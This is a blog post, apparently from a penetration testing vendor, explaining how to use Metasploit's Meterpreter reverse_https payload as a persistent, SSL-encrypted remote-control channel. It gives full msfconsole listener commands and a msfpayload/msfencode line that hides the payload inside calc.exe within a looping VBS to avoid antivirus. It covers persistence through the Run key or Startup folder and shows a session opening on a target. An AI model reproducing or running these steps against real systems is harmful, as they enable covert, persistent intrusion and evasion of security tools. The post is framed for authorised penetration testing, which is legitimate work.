Last updated at Wed, 27 Sep 2017 21:02:10 GMT

Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool.

First things first, grab the latest version of Metasploit (3.3.3) and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.

Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new reverse_https stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.

Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a dynamic DNS service (metasploit.kicks-ass.net), choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start msfconsole:

$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https     
msf exploit(handler) > set LPORT 8443 
msf exploit(handler) > set LHOST metasploit.kicks-ass.net
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/
[*] Starting the payload handler...

Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using WAVE, but any "site check" tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a "No site configured at this address" message.

After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a "template" and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:

$ msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R |
msfencode -x calc.exe -t loop-vbs -o final.vbs
[*] x86/shikata_ga_nai succeeded with size 408 (iteration=1)
$ ls -la final.vbs
-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs

Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.

[*] A.B.C.D:53386 Request received for /AVkev...
[*] A.B.C.D:53386 Staging connection for target Vkev received...
[*] Patching Target ID Vkev into DLL
[*] A.B.C.D:53387 Request received for /BVkev...
[*] A.B.C.D:53387 Stage connection for target Vkev received...
[*] Meterpreter session 2 opened (192.168.0.228:8443 -> A.B.C.D:53387)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: metal\dev

meterpreter > ps

Process list
============

 PID   Name                          Arch  Session  User       Path
 ---   ----                          ----  -------  ----       ----
 0     [System Process]                                        
 4     System                                                  
 404   smss.exe                                                
 520   csrss.exe                                               
 584   wininit.exe                                             
 608   csrss.exe                                               
 648   services.exe                                            
 668   lsass.exe                                               
 676   lsm.exe                                                 
 792   svchost.exe                                             
 852   nvvsvc.exe                                              
 892   svchost.exe                                             
[truncated]

For more information about how the reverse_https and reverse_tcp_dns stagers work, I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).